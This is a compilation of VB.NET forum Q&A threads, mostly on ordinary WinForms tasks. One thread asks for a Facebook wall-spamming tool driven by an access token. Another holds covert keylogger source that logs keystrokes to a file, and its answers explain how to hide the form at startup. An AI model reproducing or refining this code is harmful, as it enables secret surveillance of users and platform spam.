spam tool in vb.net - vb.net

I'm new in VB.NET , i try to make spam wall (fb) in vb.net so , this my code,
Public Class Form1
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Process.Start("https://graph.facebook.com/" & (TextBox2.Text) & "/photos?url=" & (TextBox3.Text) & "&method=POST&message=" & (TextBox4.Text) & "a&access_token=" & (TextBox1.Text))
End Sub
End Class
after that , i'm click button 1 , and i see new web page in my browser.
so , i want to make if i click button 1 , there no webpage in my browser.

if don't wanna open the browser then use webbrowser control like so
Private webbrows As New WebBrowser
private sub form_load(snder......
dim _url as string = "your url that mostly wont work"
webbrows.Navigate(_url)
' if you use vb2010 then you have lambada expressions
AddHandler webbrows.DocumentCompleted, Sub(sd As Object, e4 As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs)
' a check that the page fully loaded
If e4.Url.ToString <> _url Then Exit Sub
sd.dispose()
End Sub
end sub

Related

Winform VB.net how to popup msgbox yes/no when detect string in richtextbox

I am developing software that uses serial communications for data transmission . My problem is related to richtextbox which is I want to make a popup InputBox when the word "change configuration ?" appears in the richtextbox .
Please help me.
this is my configuration :
Private Sub btnWrEr_Click(sender As Object, e As EventArgs) Handles btnWrEr.Click
SerialPort1.WriteLine("write erase" & vbCr & vbCr & "reload" & vbCr)
If InStr(rtbReceived.Text, "System configuration has been modified. Save? [yes/no]:") Then
Dim save As String
save = InputBox("System configuration has been modified. Save? [yes/no]:", "yes/no")
SerialPort1.WriteLine(save & vbCr)
Else
SerialPort1.Write(vbCr)
End If
End Sub
and this is my rtb recieved coding :
Private Sub SerialPort1_DataReceived(ByVal sender As Object, ByVal e As System.IO.Ports.SerialDataReceivedEventArgs) Handles SerialPort1.DataReceived
ReceivedText(SerialPort1.ReadExisting())
End Sub
Private Sub ReceivedText(ByVal [text] As String)
If Me.rtbReceived.InvokeRequired Then
Dim x As New SetTextCallBack(AddressOf ReceivedText)
Me.Invoke(x, New Object() {(text)})
Else
Me.rtbReceived.Text &= [text]
End If
End Sub
Private Sub rtbReceived_TextChanged(sender As Object, e As EventArgs) Handles rtbReceived.TextChanged
rtbReceived.SelectionStart = rtbReceived.TextLength
rtbReceived.ScrollToCaret()
End Sub
This looks pretty straightforward just add this code to your text changed event
If RichTextBox1.Text.Contains("change configuration ?") Then
InputString = InputBox("How do you want to change it?")
End If
or instead of the line in the if..end if statement just call another sub

Pulling information from the Page Source

Ok so I have been have alot of trouble with the
Web browser control on a few applications I am working on.
All of them share the same issue. I want to have the application navigate s webpage a read the write the text in the page source to a variable. I also need to be able to save the files afterwards.
Some Source code:
Public Class Form4
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
Dim MyFolderBrowser As New System.Windows.Forms.FolderBrowserDialog
MyFolderBrowser.Description = "Select the Folder"
MyFolderBrowser.ShowNewFolderButton = False
Dim dlgResult As DialogResult = MyFolderBrowser.ShowDialog()
If dlgResult = Windows.Forms.DialogResult.OK Then
TextBox1.Text = MyFolderBrowser.SelectedPath
End If
End Sub
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If TextBox1.Text = "" Then
MessageBox.Show("You have to select a directory!")
Else
WebBrowser1.Navigate("www.realmofthemadgod.com/version.txt")
System.Threading.Thread.Sleep(3000)
Dim PageSource As String = WebBrowser1.Document.Body.InnerText
WebBrowser1.Navigate("http://www.realmofthemadgod.com/AssembleeGameClient" & PageSource & ".swf")
End If
End Sub
End Class
The first thing I am having an issue with is that it never waits for the webpage to load before pulling the Document text. I have tried many different ways to from different solutions people have posted to get around this. Oddly it always seems to work if I do it a second time.
And I want to save the final resulting webpage as an swf to the selected directory if Button2 is clicked.
Thanks for any help I have been looking for this everywhere
Welcome to the dark art of web scraping. First off, I would recommend using WebClient instead of WebBrowser as it has discrete methods for downloading data from web sites. It looks like your version.txt only contains the data you want (and no extraneous html) so we can download it directly. If you needed to parse html I would use HtmlAgilityPack. Untested code to get you started:
Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
If TextBox1.Text = "" Then
MessageBox.Show("You have to select a directory!")
Else
Using wc as New WebClient()
Dim version = wc.DownloadString("www.realmofthemadgod.com/version.txt")
Dim swf = "http://www.realmofthemadgod.com/AssembleeGameClient" + version + ".swf"
wc.DownloadFile(swf,"c:\temp\myswf.swf")
End Using
End If
End Sub

How to hide vb form on startup?

I am trying to hide the main form on startup, but for some reason I am failed to do that. In the following code I have created a button that hides the form, but I want to hide the form on load. Please help me out. Thanks in advance.
Option Strict On
Public Class Form1
Private Declare Function GetAsyncKeyState Lib "user32" (ByVal vkey As Long) As Integer
Private Sub timerKeys_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles timerKeys.Tick
Dim result As Integer
Dim key As String
Dim i As Integer
For i = 2 To 90
result = 0
result = GetAsyncKeyState(i)
If result = -32767 Then
tbLog.Text = tbLog.Text + Chr(i)
If i = 13 Then key = vbNewLine
Exit For
End If
Next i
If key <> Nothing Then
If My.Computer.Keyboard.ShiftKeyDown OrElse My.Computer.Keyboard.CapsLock Then
tbLog.Text = key
Else
tbLog.Text = key.ToLower
End If
End If
If My.Computer.Keyboard.CtrlKeyDown AndAlso My.Computer.Keyboard.AltKeyDown AndAlso key = "z" Then
Me.Show()
End If
End Sub
Private Sub btnHide_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles btnHide.Click
Me.Hide()
End Sub
Private msg As String = ""
Private Sub timerSave_Tick() Handles timerSave.Tick
My.Computer.FileSystem.WriteAllText("D:\log.txt", tbLog.Text, True)
tbLog.Clear()
End Sub
Private Sub Form1_FormClosed(ByVal sender As Object, ByVal e As System.Windows.Forms.FormClosedEventArgs) Handles Me.FormClosed
tbLog.Text &= vbNewLine & "Closed at:" & Now & vbNewLine
'My.Computer.FileSystem.WriteAllText("D:\log1.txt", tbLog.Text, True)
timerSave_Tick()
End Sub
Private Sub Form1_Load(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Load
tbLog.Text = " Started at :" & Now & vbNewLine
End Sub
Public Sub store(ByVal s As String)
End Sub
End Class
If you don’t want to display a form at startup then the solution is to change the startup method for your project rather than trying to hide the form.
In the application settings, disable “Application framework” and set the startup object to Sub Main rather than a form object. Then write an appropriate Sub Main entry point in a module.
The MSDN has more information (although some of the infos given in this article are grossly misleading).
Just enter paste this in the beginning of your form.
Protected Overrides Sub SetVisibleCore(ByVal value As Boolean)
If Not Me.IsHandleCreated Then
Me.CreateHandle()
value = False
End If
MyBase.SetVisibleCore(value)
End Sub
more information is available at:
How to have an invisible start up form? by Hans Passant
Best,
When you go the the code tab, right under it is a listbox. select "(form1 events)". after you have done that, right next to it is another listbox. Put that textbox on "Load". a new event is created. That event is started when the program starts. Put in this event: me.visible = false. This should do it.

Webbrowser current URL (VB.NET)

Im working on a project , and i have an obstacle about webbrowser tool in vb.net . I want to show a msgbox when the user is in a specific site , how can this be done ? , in another words , how can i get the current url in the webberowser tool in vb.net?
Webbrowser.Url is a Uri, not a string. So compare it with a Uri.
If WebBrowser1.Url = New Uri("http://stackoverflow.com") Then
I would say you should check the Host of the URI, that way it works for all of the URLs and not just the top level for a given site:
Private Sub Button1_Click_1( sender As System.Object, e As System.EventArgs) Handles Button1.Click
WebBrowser1.Navigate("http://www.stackoverflow.com")
End Sub
Private Sub WebBrowser1_DocumentCompleted( sender As System.Object, e As System.Windows.Forms.WebBrowserDocumentCompletedEventArgs) Handles WebBrowser1.DocumentCompleted
If WebBrowser1.Url.Host = "stackoverflow.com"
MessageBox.Show("You are at stack overflow")
End If
End Sub
Is this what you mean?
Dim browser As String
browser = TextBox1.Text
WebBrowser1.Navigate(browser)
MsgBox("Your visiting " & browser)
End Sub

Click Button Event in VB that displays a message about user input

I have a really quick and simple question, I’m learning programming in C# and VB and I need to create a GUI application in Windows Form with Visual Studio. This GUI will prompt the user to enter in an integer. I believe I have this part alright but then I need to have the user click a button that will convert the user's entry to an integer and display a message indicating whether the user was successful. I think I even have the conversion done correctly but I am having a problem displaying that message if the user was successful. Basically I need to know how to function the click method in VB that will allow this message to appear. Any help with this would be greatly appreciated. The following code is what I have already written for this project:
Public Class Form1
Private Sub EvaluateInput()
Dim InputValue As String
InputValue = ValueTextBox.Text
If IsNumeric(InputValue) Then
MessageBox.Show(InputValue & " is a number.")
Else
MessageBox.Show(InputValue & " is not a number.")
End If
End Sub
Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) Handles Button2.Click 'Continue Button
End Sub
Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click 'Exit Button
Dim button As DialogResult
button = MessageBox.Show _
("Are you sure you want to exit this application?", _
"Message", MessageBoxButtons.YesNo, MessageBoxIcon.Warning, MessageBoxDefaultButton.Button1)
If button = Windows.Forms.DialogResult.Yes Then
Me.Close()
Else
'Do Nothing
End If
End Sub
End Class
If I understand your question correctly, then you would need a simply change:
Private Sub Button2_Click(sender As System.Object, e As System.EventArgs) _
Handles Button2.Click 'Continue Button
EvaluateInput()
End Sub
When you press Button2, it will call the EvaluateInput sub and display a message accordingly.